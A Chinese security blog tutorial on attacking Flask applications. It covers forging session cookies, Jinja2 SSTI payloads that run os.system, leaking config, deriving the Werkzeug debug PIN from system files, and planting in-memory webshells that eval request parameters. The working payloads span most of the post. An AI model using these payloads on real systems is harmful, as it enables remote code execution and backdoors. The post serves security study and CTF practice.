SecMap - Flask

SecMap 系列之 Flask,本篇介绍 flask 相关的攻击手法。

介绍

flask 还是一个非常流行的 Python Web 框架,我个人是非常喜欢的。

基础知识

flask 是典型的轻量级 Web 框架,仅保留了核心功能:请求响应处理和模板渲染。这两类功能分别由 Werkzeug(WSGI)完成和 jinja2 负责。

jinja2 就不用多说了,之前的文章说过。Werkzeug 是一个专门用来处理 HTTP 和 WSGI 的工具库,可以方便的在 Python 中处理 HTTP 协议相关内容。这里顺便提一下,Werkzeug 不是一个 Web 服务器,也不是一个 Web 框架,而是一个工具包,官方的介绍说是一个 WSGI 工具包,它可以作为一个 Web 框架的底层库,因为它封装好了很多 Web 框架需要用到的基本操作,例如 Request,Response 等等。如果橘友们感兴趣可以看官方文档,按照这个文档非常容易上手 Werkzeug(见资料 1)。

flask 还是比较流行的,教程一抓一大把,基础的使用就不啰嗦了,我们直接来看看 flask 都有哪些攻击面。

攻击思路

常规姿势

首先,flask 本身的漏洞本篇就不详细介绍了,大家一搜 CVE 都有(见资料 2),目前来看(2022-05-06),版本 >= 0.12.3 是没有通用漏洞的。

其次,为了避免内容重复,非 flask 直接导致的漏洞不再本篇范围中,例如直接拼接 sql 导致 sql 注入、CSRF、SSRF 等,这些攻击方式并非使用 flask 所导致的,推荐去看 SecMap 的对应系列,更容易理解。

session 信息泄露 & 伪造

session 的作用大家都比较熟悉了,就不用介绍了。

它的常见实现形式是当用户发起一个请求的时候,后端会检查该请求中是否包含 sessionid,如果没有则会创造一个叫 sessionid 的 cookie,用于区分不同的 session。sessionid 返回给浏览器,并将 sessionid 保存到服务器的内存里面;当已经有了 sessionid,服务端会检查找到与该 sessionid 相匹配的信息直接用。

所以显而易见,session 和 sessionid 都是后端生成的。且由于 session 是后端识别不同用户的重要依据,而 sessionid 又是识别 session 的唯一依据,所以 session 一般都保存在服务端避免被轻易窃取,只返回随机生成的 sessionid 给客户端。对于攻击者来说,假设需要冒充其他用户,那么必须能够猜到其他用户的 sessionid,这是比较困难的。

对于 flask 来说,它的 session 不是保存到内存里的,而是直接把整个 session 都塞到 cookie 里返回给客户端。那么这会导致一个问题,如果我可以直接按照格式生成一个 session 放在 cookie 里,那么就可以达到欺骗后端的效果。

阅读源码可知,flask 生成 session 的时候会进行序列化,主要有以下几个步骤:

  1. json.dumps 将对象转换成 json 字符串
  2. 如果第一步的结果可以被压缩,则用 zlib 库进行压缩
  3. 进行 base64 编码
  4. 通过 secret_key 和 hmac 算法(flask 这里的 hmac 默认用 sha1 进行 hash,还多了一个 salt,默认是 cookie-session)对结果进行签名,将签名附在结果后面(用 . 拼接)。如果第二步有压缩的话,结果的开头会加上 . 标记。

可以看到,最后一步解决了用户篡改 session 的安全问题,因为在不知道 secret_key 的情况下,是无法伪造签名的。

所以这会直接导致 2 个可能的安全问题:

  1. 数字签名的作用是防篡改,没有保密的作用。所以 flask 的 session 解开之后可以直接看到明文信息,可能会导致数据泄露
  2. 如果知道 secret_key 那么可以伪造任意有效的 session(这个说法并不完全准确,文末的防御那一小节会说明原因)

下面举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, session


app = Flask(__name__)
app.secret_key = 'Tr0y_1s_Macr0phag3'

@app.route('/')
def hello():
user = session.get("user", "Hacker")
return f'Welcome, {user}!'


app.run()

比如这段代码,我们访问之后会得到一个 session:eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA

按照生成的过程,我们可以很容易解开 session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
In [76]: session = "eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA"

In [77]: from itsdangerous import URLSafeTimedSerializer, base64_decode, encoding

In [78]: base64_decode("eyJ1c2VyIjoicm9vdCJ9")
Out[78]: b'{"user":"root"}'

In [79]: base64_decode("YnkAHQ")
Out[79]: b'by\x00\x1d'

In [80]: encoding.bytes_to_int(b'by\x00\x1d')
Out[80]: 1652097053

In [81]: URLSafeTimedSerializer(
...: 'Tr0y_1s_Macr0phag3',
...: salt="cookie-session",
...: signer_kwargs={"key_derivation": "hmac"}
...: ).loads_unsafe("eyJ1c2VyIjoicm9vdCJ9.YnkAHQ.20MEAtmoX7Djup_Irjze03qSnSA")
Out[81]: (True, {'user': 'root'}) # 第一个值代表签名是否有效

所以如果 session 里有敏感信息,那么直接就泄露了。

最后,如果搞到 secret_key,可以这样伪造 session:

1
2
3
4
5
6
7
8
from itsdangerous import URLSafeTimedSerializer


URLSafeTimedSerializer(
'Tr0y_1s_Macr0phag3',
salt="cookie-session", # 这是默认的
signer_kwargs={"key_derivation": "hmac"}
).dumps({'user': 'root'})

来试试伪造的 session:

nice.

大家似乎都很喜欢用 flask-session-cookie-manager (见资料 3),但是我不知道它和 itsdangerous.URLSafeTimedSerializer 的区别是啥...这个类既可以解开也可以伪造。难道是没有压缩功能?但是伪造的时候也不需要压缩呀?

最后教大家一个快速调试的方式。

我们平时写一些小脚本都需要搞点测试用例来测试,那像 flask 这种 Web 应用,如果每次修改代码都需要重启服务,再通过 HTTP 协议来测试,那实在是太慢了。对于我们安全来说,一样需要测试各种 payload。由于安全一般只需要简单的测试,所以不需要用比较重的测试框架例如 pytest 之类的。所以我们只需要直接用 Flask.test_client 就可以模拟请求了,例如:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, render_template_string, request


app = Flask(__name__)

@app.route('/')
def hello():
user = request.args.get("user")
return render_template_string(f'{{% autoescape false %}}Welcome, {user}!{{%endautoescape%}}')


app.test_client().get('/', query_string={"user": "{{ 1+1 }}"}).get_data(as_text=True)

test_client 下方法的属性列表可以在 site-packages/werkzeug/test.py 里的 class EnvironBuilder: 下的注释中找到。

flask 的 SSTI

这一节本来是放在《SecMap - SSTI(jinja2)》(见资料 4)中介绍的,但是为了查询的便利性,就放在这里好了,jinja2 那篇文章中会引用这里的知识点。

flask 最常见的搭档就是 jinja2 了。由于 flask 会引入新的变量,所以也会引入新的姿势。从官方文档可以看到官方引入的新的全局变量(见资料 5)

  • config:当前配置对象,原型为 flask.Flask().config
  • request:当前 request 对下,原型为 flask.request。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的
  • session:当前 session 对象,原型是 flask.session。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的
  • g:全局变量的 request-bound 对象,原型是 flask.g。注:如果模板渲染的时候 request context 没有激活,这个变量是没法在模板中使用的
  • url_for(),原型是 flask.url_for()
  • get_flashed_messages():原型是 flask.get_flashed_messages()

通用绕过姿势

常规的通用绕过姿势就不重复说了,《SecMap - SSTI(jinja2)》 里说的很全。

除此之外,flask 的 request 中包含了大量请求相关的属性(见资料 6),可以用于 bypass 一些非常严格的限制。

  1. request.args:GET 请求的参数
  2. request.form:POST 参数
  3. request.values:POST 和 GET 的参数
  4. request.cookies:Cookies 值
  5. request.files:包含了上传的文件名和内容
  6. request.headers:请求头
  7. 直接获取头的属性,上面文档中含有 entity-header field 关键字的都是,比如:
    1. request.authorization:basic 认证的凭据
    2. request.content_typeContent-Type HTTP 头
    3. request.content_md5Content-MD5 HTTP 头
    4. request.get_data:和 request.data 类似
    5. ...
  8. request.full_path:完整请求路径,包含参数
  9. request.environ:WSGI 的环境变量,包含 HTTP 头(对应的键会自动加上 HTTP_ 前缀),还有 WSGI 服务端的一些信息
  10. 以及通过 mro 我们也是可以间接获取到这些属性的。

这些请求相关的属性可以传递任何被过滤的字符串。举例,假设参数 user 过滤了 ossystem,那我们可以任意指定另外三个参数,分别用于传递 ossystem、命令,payload 可以这样:

1
2
3
4
?user={{config.get_namespace.__globals__[request.args.module][request.args.func](request.args.cmd)}}
&module=os
&func=system
&cmd=whoami

这个姿势是非常非常通用的。利用的时候,最重要的资料还是官方文档。

通过 mro 寻找可利用模块

mro 直接利用 dibber 搜索就行(见资料 7)

config

g

其他同理,就不列举了,橘友们用 dibber 自行尝试即可。

config 信息泄露

config 是 flask 中的一个全局对象,它代表当前配置实例,包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY 等敏感值。

所以如果可以获取到 config,就可以直接拿到各种敏感数据。比如如果需要获取绝对 Web 根目录可以用 config.root_path;比如上面说的伪造 session 需要 secret_key,而 config 就有 secret_key。所以只要获取了 config 就可以伪造 session 了。

如果存在 SSTI 那么直接 {{ config }} 就可以了。当然,如果没法直接拿 config,可以用 mro 来找其他利用链,比如:

  • url_for.__globals__['current_app'].config
  • get_flashed_messages.__globals__['current_app'].config
  • self.__dict__._TemplateReference__context.config,这个就是 jinja2 自带的,在 jinja2 的 SSTI 中介绍过了
  • ...

同样,类似的替换方式写个 dibber 的插件即可自动搜索。

实在不行,先确定脚本的路径,再直接读源码也是 ok 的...

上面有个结论,“只要拿到了 secret_key 就可以伪造 session”,这个说法并不是非常准确。因为通过上面的分析可知,session 的签名还取决于使用的密钥派生函数、salt 和 hash 算法,这三者只要替换掉一个,用现有的工具即使知道 secret_key 也是没法生成有效的 session 的。

所以这就是一个 ctf 的出题思路了:

  1. 题目的目的:伪造 root 的 session
  2. 题目中存在 ssti

由于可以直接拿到 secret_key,所以估计很多人直接开始伪造 session,然后发现 session 就是无效的...

所以在用 flask 的时候,不妨换一个 salt,也没啥改造的成本。

当然,如果存在 SSTI,那么是可以非常轻易地获取这三个信息的:

  • config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.key_derivation
  • config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.salt
  • config.__init__.__globals__.__builtins__.__import__('flask').sessions.SecureCookieSessionInterface.digest_method

确认这三个关键的信息之后,结合 secret_key 就可以伪造了。

利用 debug 模式姿势

flask 贴心地提供了 debug 模式,只需要加参数 app.run(debug=True) 即可,用于在测试的时候及时发现和定位问题。

黑盒判断是否开启 debug 模式,最直接的方式就是触发一个报错。除此之外还有一种方法:

1
2
3
4
5
import requests

"__debugger__" in requests.get(
'http://127.0.0.1:5000/?__debugger__=yes&cmd=resource&f=style.css'
).text

style.css 位于 site-packages/werkzeug/debug/shared/ 下,这里面所有的文件都可以用来判断。

仔细观察可以发现,这个页面中有很多可以利用的地方。

信息泄露

这个页面中的报错所在代码是可以点击的,且是按照 Python 异常堆栈顺序排列,所以一般最后一行就是报错的原始代码。点击之后可以看到 10 行源代码,触发报错的代码在第 6 行。如果敏感信息正好在这个范围里,那么就会泄露出来。

按照这个思路,如果我们在 SSTI 的时候,发现是无回显的,那么也可以通过触发报错,然后在 debug 里获得结果。

利用报错解决无回显

eval 或者 exec 我们想看到的数据即可:

get PIN, get shell

在 debug 页面中甚至还提供了 python 的交互式 shell,方便 plus。

但前提是需要有 Debugger PIN

这个在 debug 模式下启动 flask 的时候可以直接获取到(通常是在终端直接打印)。作为攻击者,是没法直接拿到这个 PIN 的。

爆破 PIN

最直接的办法就是爆破。可惜 flask 默认带有爆破防御功能,在 site-packages/werkzeug/debug/__init__.py 中的 pin_auth

  1. 一旦检查 PIN 失败就会调用 _fail_pin_auth,让 self._failed_pin_auth 加 1
  2. 如果 self._failed_pin_auth > 5,每次认证返回响应前延时 5s
  3. 如果 self._failed_pin_auth > 10,强制停止 PIN 校验逻辑,只能重启服务来重置

这里有个细节,由于 _fail_pin_auth 是 sleep 之后才 +1,所以理论上只要在 5s 内发出很多请求,那么可以在 +1 之前就经过很多次 PIN 验证。遗憾的是,flask PIN 一般都有 9 位数字,每位有 10 种可能性,也就是 10 亿种可能性,一共可以尝试 10 次,就算每次都延迟 5s,那么 50s 内需要发出 10 亿次尝试,这显然是不可能的。不过这个可以耗尽尝试次数导致别人也无法使用 debug,那么显然这是一个比较鸡肋的 DoS。

所以爆破的路子走不通,我们需要寻找其他方式。

通过分析 flask 源码可以拿到以下调用链,可以看出 PIN 的生成是相对固定的:

  1. 入口 py 文件 中的 ... .run()
  2. site-packages/flask/app.py 中,class Flask(Scaffold):runrun_simple(host, port, self, **options)
  3. site-packages/werkzeug/serving.py 中,run_simpleapplication = DebuggedApplication(application, use_evalex)
  4. site-packages/werkzeug/debug/__init__.py 中,class DebuggedApplication:pinpin_cookie = get_pin_and_cookie_name(self.app)
  5. site-packages/werkzeug/debug/__init__.py 中的get_pin_and_cookie_name

get_pin_and_cookie_name 中,可以看到对 PIN 的处理有一些特殊的逻辑,见下面代码注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
import re
import os
import sys
import uuid
import getpass
import hashlib
import typing as t
from itertools import chain


def get_machine_id():
# --- linux 获取逻辑 ---
linux = b""

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# 如果是容器,下面的逻辑可以用于区分不同容器
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# --- OS X 获取逻辑 ---
# 用 ioreg 去获取 machine guid
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE

dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)

if match is not None:
return match.group(1)

except (OSError, ImportError):
pass

# --- Windows 获取逻辑 ---
# 用 winreg 去获取 machine guid
try:
import winreg
except ImportError:
pass
else:
try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

if guid_type == winreg.REG_SZ:
return guid.encode("utf-8")

return guid

except OSError:
pass

return None


def get_pin_and_cookie_name(app):
# 环境变量里的 WERKZEUG_DEBUG_PIN
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None

if pin == "off":
# 此时无需填写 pin 即可使用 webshell
return None, None

if pin is not None and pin.replace("-", "").isdigit():
if "-" in pin:
# 此时 pin 码就是 WERKZEUG_DEBUG_PIN 的值
rv = pin
else:
# 后面 len(num) 会作为 pin 码的长度
num = pin

# 参数 1:
# 由于 flask 传入的固定是 flask.Flask()
# 所以这里的 modname 就是 "flask.app"
modname = getattr(
app,
"__module__",
t.cast(object, app).__class__.__module__
)

# 参数 2:
# 这里获取的是系统的用户名
# 其实就是执行 whoami
try:
username = getpass.getuser()
except (ImportError, KeyError):
# 有些特殊的情况下,UID 无法唯一关联到一个用户
# 就会报错,次数 username 就是 None
# 相关 issue 可见:
# https://github.com/pallets/werkzeug/issues/1471
username = None

mod = sys.modules.get(modname)
probably_public_bits = [
username, # `whoami`
modname, # "flask.app"
getattr(app, "__name__", type(app).__name__), # "Flask"

# 参数 3:
# 模块 modname 所在文件的完整系统路径
# 这里其实就是 app.py 所在的完整系统路径
getattr(mod, "__file__", None),
]

# 参数 4:
# 第一个值是服务器的 MAC 地址,它是一个 48 位正整数
# 第二个值是 get_machine_id()
private_bits = [str(uuid.getnode()), get_machine_id()]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue

if isinstance(bit, str):
bit = bit.encode("utf-8")

h.update(bit)

# 参数 5:
# 固定值 cookiesalt
h.update(b"cookiesalt")

# 这个我们用不到
cookie_name = f"__wzd{h.hexdigest()[:20]}"

if num is None:
# 固定值 pinsalt
h.update(b"pinsalt")

# 这里长度永远是 9,一定是符合下面要求的长度
num = f"{int(h.hexdigest(), 16):09d}"[:9]

if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
# 将 num 拆解为 n 组,每组通过 '-' 连接
# n 必须为 [5, 4, 3] 的其中一个的倍数
# 否则认为 num 长度错误
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
# 长度错误的 num 会被直接置为 pin 码
# 只会出现在自定义了 WERKZEUG_DEBUG_PIN 的时候
rv = num

return rv, cookie_name

所以一共有 9 个必要参数:

  1. 环境变量 WERKZEUG_DEBUG_PIN:非常重要的值,它本身可能就是 PIN 码,以及决定了后面生成 PIN 的流程。不过这个值一般不会修改
  2. probably_public_bits,它是一个 4 元列表,其中包含:
    1. username:运行 flask 所使用的的系统用户名
    2. modname:在 flask 中,此值固定是 "flask.app"
    3. 固定值 "Flask"
    4. app.py 所在的完整系统路径
  3. private_bits,它是一个 2 元列表,其中包含:
    1. MAC 地址(48 位正整数格式)
    2. Machine ID:通常在系统安装或首次启动时从一个随机数源生成,并且之后不会自己发生变化;不同的操作系统获取的方式不同
  4. 固定值 "cookiesalt"
  5. 固定值 "pinsalt"
  6. 将上面的结果进行 sha1,然后取前 9 位
  7. 每 3 位一组,用 - 连接

如果有办法在目标环境中执行 Python 代码,那么获取 PIN 是很简单的,可以直接调用 get_pin_and_cookie_name 来生成即可:

1
2
3
4
5
6
__import__(
'werkzeug.debug',
fromlist=['']
).get_pin_and_cookie_name(
__import__('__main__').app
)

例如通过 SSTI:

如果存在任意文件读取漏洞,则需要拿到非固定的值,可以通过特殊文件来获取:

  1. 环境变量 WERKZEUG_DEBUG_PIN 先无视
  2. username 通过 /etc/passwd 来猜测
  3. app.py 的绝对路径在 debug 的报错中就有
  4. 在 Linux 环境中,Mac 地址可以读取 /sys/class/net/网卡名称/address,删除 : 之后转为 10 进制即可,网卡名可以通过 /proc/net/dev 文件来查找
  5. Machine ID 按照 get_machine_id 的逻辑来读取即可

内存马

在文档中我们可以发现 flask.Flask 有一些特殊的方法,可以修改处理请求的逻辑。

add_url_rule

add_url_rule 是用来注册路由的。

根据官方文档,这三种写法是等价的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 写法 1
@app.route("/")
def index():
...


# 写法 2
app.add_url_rule("/", endpoint="index")
@app.endpoint("index")
def index():
...


# 写法 3
def index():
...

app.add_url_rule("/", view_func=index)

这就意味着,如果变量 app 是可以控制的,那么我们可以通过 app.add_url_rule("/shell", view_func=lambda: eval(request.args["cmd"])) 来植入一个后门。

在绑定的时候有几个需要注意的地方:

  1. 所有 url 所绑定的函数名称(即 endpoint)与函数的映射关系,可以通过 app.view_functions 看到
  2. 绑定的时候,会将对应的 endpoint 保存至 app.view_functions,如果这个时候 endpoint 已经存在,但是新绑定的过程中改变了对应的函数,就会报错,比如 lambda:

    因为 lambda 每次执行都会新生成一个对象,并不是固定的:
  3. 为了避免上面那个问题,可以手动指定 endpoint 的名称:app.add_url_rule("/shell", "ep-1", view_func=lambda x: x)
  4. 对于同一个 url,如果绑定了多次 endpoint,以第一次绑定的结果为准:

    不过要修改也简单,可以通过 app.view_functions 修改
  5. 上面也给了我们启发,通过 app.view_functions 即可篡改 url 所绑定的函数。
  6. app.url_map 中保存了 url 与 endpoint 的对应关系。结合上面的结论大致可以推测出,app.add_url_rule 应该是依赖 app.view_functionsapp.url_map 的。
  7. debug 模式下,如果直接调用 setup function 是没有办法使用的:

    代码位于 site-packages/flask/scaffold.py 中的 def setupmethod 下:

    site-packages/flask/app.py 中的 class Flask 继承了 Scaffold 且定义了 _is_setup_finished

    这就说明,当开启 debug 模式,且已经开始准备好开始处理客户端的请求,就没办法在执行 setup function 了。如果你想知道还有哪些算 setup function,在 site-packages/flask/app.py 中被装饰器 @setupmethod 装饰的都算。当然,由于这里是通过装饰器做的限制,所以理论上我们精简 setup function 之后或许也可以自己搞出与之等价的函数,这一点后面会举例。

踩完坑之后,下面结合 jinja2 的 SSTI 举几个例子。

由于 jinja2 中并不支持用 lambda(通过 mro 引入也不行用,因为 jinja 的语法本身就不支持),而 view_func 参数又必须是一个 func,如果直接使用 view_func=eval,由于在 flask 不会给 view_func 传参,所以压根就没法执行。如果是固定执行一个命令倒是可以,就是有点不够灵活了。

为了实现类似 lambda 的效果,我们可以定义一个宏,然后植入后门:

1
2
{% macro x() %} cycler.__init__.__globals__.__builtins__.eval(request.args.cmd) {% endmacro %}
{{ lipsum.__globals__.__builtins__.__import__("__main__").app.add_url_rule("/shell", "x", view_func=x) }}

这里有坑需要注意下。

我在测试的过程中发现,lipsum. ... .__import__("__main__").app.add_url_rule 似乎会改变 lipsum 的上下文属性,导致在宏里无法引用到 lipsum。也就是说,这个 payload 是不行的:

1
2
{% macro x() %} lipsum.__globals__.__builtins__.eval(request.args.cmd) {% endmacro %}
{{ lipsum.__globals__.__builtins__.__import__("__main__").app.add_url_rule("/shell", "x", view_func=x) }}

以及由于 macro 和普通函数不太一样,它是没有 __name__ 的。所以必须指定一下 endpoint。

除了宏之外,还有办法搞一个自定义函数出来吗?如果可以使用 def 就好了。那么这个 exec 就可以实现。虽然 exec 返回值固定是 None,但是其实里面定义的函数在外边是可以使用的(通常情况):

上面特别标注了 “通常情况”,为何呢?evalexeccompile 都是非常有趣的内置函数,他们有非常多的特性,有机会我专门写一篇来介绍。

总之,我们可以这样:eval('exec("def x(): return x")')

当然,compile 也是 ok 的,所以还可以这样:

1
2
3
4
5
6
__import__('types').FunctionType(
compile(
'def foo(): return "bar"', "", "exec"
).co_consts[0],
globals()
)

结合 jinja2 的 SSTI 就是这样了:

1
2
3
4
5
6
7
8
9
10
11
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.add_url_rule(
"/shell",
view_func=lipsum.__globals__.__builtins__.eval(
'exec("'
'def x(): '
'return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))'
'"), x'
)[1]
)

1
2
3
4
5
6
7
8
9
10
11
12
13
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.add_url_rule(
"/shell",
view_func=lipsum.__globals__.__builtins__.eval(
'__import__("types").FunctionType(compile(
"def x(): "
"return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))",
"",
"exec"
).co_consts[0], globals())'
)
)

绕过 setup function debug 模式限制

正如上面说的那样,在 debug 模式下是没办法直接使用 setup function 的。好在有绕过的办法(下面均以 add_url_rule 为例)。

修改属性

_is_setup_finished 中的限制,是实时获取属性来判断的。所以我们只需要修改 app.deug = False 或者 app._got_first_request = False 即可绕过。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{{
lipsum.__globals__.__builtins__.setattr(
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app,
"debug",
False
),
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.add_url_rule(
"/shell",
view_func=lipsum.__globals__.__builtins__.eval(
'exec("'
'def x(): '
'return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))'
'"), x'
)[1]
)
}}

模拟 setup function

site-packages/flask/app.py 中可以看到 add_url_rule 的逻辑似乎比较复杂。但实际上,它最主要的操作就两个:

  1. rule = self.url_rule_class(rule, methods=methods, **options) & self.url_map.add(rule)
  2. self.view_functions[endpoint] = view_func

所以我们只需要执行:

  1. app.url_map.add(app.url_rule_class("/shell", methods={"GET"}, endpoint="x")),就可以在 /shell 上注册一个叫 x 的 endpoint
  2. app.view_functions["x"] = eval,这样就完成了 endpoint 与函数的绑定

还是以 SSTI 为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{{
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.url_map.add(
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.url_rule_class(
"/shell", methods=["GET"], endpoint="x"
)
),
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.view_functions.__setitem__(
"x",
lipsum.__globals__.__builtins__.eval(
'exec("'
'def x(): '
'return str(eval(__import__(\\"__main__\\").request.args[\\"cmd\\"]))'
'"), x'
)[1]
)
}}

其他 setup function

before_request_funcsafter_requestregister_error_handler 之类的应该都是可以用来搞内存马的。可能还有一些其他函数,有需要用的时候可以翻翻官方文档尝试一下。

从文件写到 RCE

在《Python 沙箱逃逸的经验总结》中我们提到过,如果存在文件写漏洞,则可以通过 import 或者 exec 等等完成 RCE。

在 flask 的场景下,还有一个特殊的途径。

from_pyfile 中,会执行 exec,且由于 exec 的特性,会把 exec 中执行生成的变量存储在 d.__dict__,所以 exec 中的变量均可以通过 d. 获取到。而最后又会调用 from_object,这个函数会将全大写的变量名置为 self(也就是 flask.Flask.config)的属性。

关键代码如下:

既然如此,我们可以先在目标环境中创建一段包含 Python 代码的文件(比如任意文件上传),并在里面创建一个全大写变量名 CMD = eval,然后触发 from_pyfile(例如 SSTI),这样就可以在 config 中直接用到这个 eval:

1
2
3
lipsum.__globals__.__builtins__.__import__(
'__main__'
).app.from_pyfile("file.png")

然后直接 {{config.CMD}} 使用即可:

个人觉得这个也算内存马了。

总结

flask 的攻击面还是比较广的,毕竟作为一个 Web 应用框架,能承载的功能是非常丰富的,它还有各种各样的插件。

所以在考量 flask 应用的时候,flask 本身的安全性(代码/架构)、通过 flask 搭建的应用的安全性(代码/逻辑)、插件(第三方代码)都是不可或缺的一部分。所以这部分的内容一篇文章恐难以总结全,本文就先介绍到这,后面如果发现新的姿势会继续补充。

资料

  1. werkzeug 文档
    https://werkzeug-docs-cn.readthedocs.io/zh_CN/latest/tutorial.html
  2. flask cve
    https://snyk.io/vuln/pip:flask
  3. flask-session-cookie-manager
    https://github.com/noraj/flask-session-cookie-manager
  4. SecMap - SSTI(jinja2)
    https://www.tr0y.wang/2022/04/13/SecMap-SSTI-jinja2/
  5. flask 标准上下文
    https://flask.palletsprojects.com/en/2.1.x/templating/#standard-context
  6. flask request 属性
    https://flask.palletsprojects.com/en/2.1.x/api/#incoming-request-data
  7. dibber
    https://github.com/Macr0phag3/dibber

最近遇到了 Python + yaml 的反序列化问题
所以下一篇估计是补齐一下这部分知识点
一起加油 💪


SecMap - Flask
https://www.tr0y.wang/2022/05/16/SecMap-flask/
作者
Tr0y
发布于
2022年5月16日
更新于
2024年6月3日
许可协议